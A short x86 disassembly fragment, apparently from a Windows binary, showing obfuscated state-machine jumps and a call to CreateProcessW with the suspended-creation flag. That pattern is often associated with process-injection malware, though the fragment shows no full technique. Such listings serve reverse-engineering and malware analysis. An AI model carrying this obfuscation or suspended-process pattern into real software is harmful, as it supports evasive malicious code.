movss xmm0, dword [0x1001d220]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001d21c]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xde0be306
jmp 0x1000fa56
mov dword [ebp - 0x128], 0x9c49909
jmp 0x1000fa56
mov dword [ebp - 0x128], 0xc20bb7f2
jmp 0x1000fa56
mov dword [ebp - 0x128], 0xffb7358b
jmp 0x1000fa56
mov dword [ebp - 0x128], 0x28de2f83
jmp 0x1000fa56
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
mov edx, dword [ebp - 0x9c]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x128], 0xfe1a8992
jmp 0x1000fa56
jmp 0x10006b5f